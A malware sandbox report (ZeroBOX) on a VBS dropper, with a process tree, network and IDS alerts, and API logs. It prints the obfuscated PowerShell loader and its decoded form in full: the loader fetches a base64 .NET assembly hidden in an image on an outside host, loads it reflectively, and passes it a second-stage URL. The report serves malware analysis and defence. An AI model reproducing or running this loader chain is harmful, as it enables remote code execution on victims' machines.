popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

afkjo.vbs

Generic Malware Antivirus Hide_URL PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 2, 2023, 8:36 a.m. Oct. 2, 2023, 8:38 a.m.
Size 370.8KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 ace68031816b590f740f60db507faa88
SHA256 ddb61652772dfbae79ce10a2f92cfe6f585b7851afce2b3eb8bf70605f419154
CRC32 52A1E741
ssdeep 3072:pSi9Pz5wgWx5JxOxB2AQuqfnfHQ6tC/sDvYcsY3YpYtsv:J9Pz+gWx5JxOxp4HHQ6A/N
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\afkjo.vbs

    1932

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgBv◀▶Go◀▶awBm◀▶GE◀▶Lw◀▶y◀▶DU◀▶Lg◀▶4◀▶DQ◀▶Lg◀▶w◀▶DE◀▶MQ◀▶u◀▶Dk◀▶Nw◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GY◀▶Z◀▶Bm◀▶GQ◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶YQBk◀▶HM◀▶YQ◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bl◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBj◀▶HU◀▶Jw◀▶p◀▶Ck◀▶'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""

      2132

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ojkfa/25.84.011.97//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

        2260

Name Response Post-Analysis Lookup
apps.identrust.com
A 23.32.56.72
A 23.32.56.80
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
23.32.56.72
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
172.67.215.45
IP Address Status Action
104.21.45.138 Active Moloch
164.124.101.2 Active Moloch
23.32.56.80 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49166 -> 104.21.45.138:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49166
104.21.45.138:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br 67:68:c4:e4:aa:54:e1:fd:f0:50:01:73:1e:da:cf:48:0c:17:0d:34

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:180
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::U
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: TF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: _END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.Ind
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: exOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $ima
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: geText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: ::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ojkfa/25.84.011.97//:ptth'
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: At line:1 char:243
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.Ge
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: tString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: _END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.Ind
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: exOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $ima
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: geText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: ::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ojkfa/25.84.011.97//:ptth'
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001ef
1 1 0

WriteConsoleW

 buffer: At line:1 char:349
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.Ge
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: tString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: ';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.Ind
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: exOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $ima
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: geText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: ::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ojkfa/25.84.011.97//:ptth'
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00760f10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007614d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007614d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007614d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00760c50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00760c50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00760c50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00760c50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00760c50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00760c50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007614d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007614d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007614d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007610d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761750
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00761950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007613d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007613d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e7a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e8e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e8e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e8e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 917504
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02760000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02800000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2132
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2132
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249a000
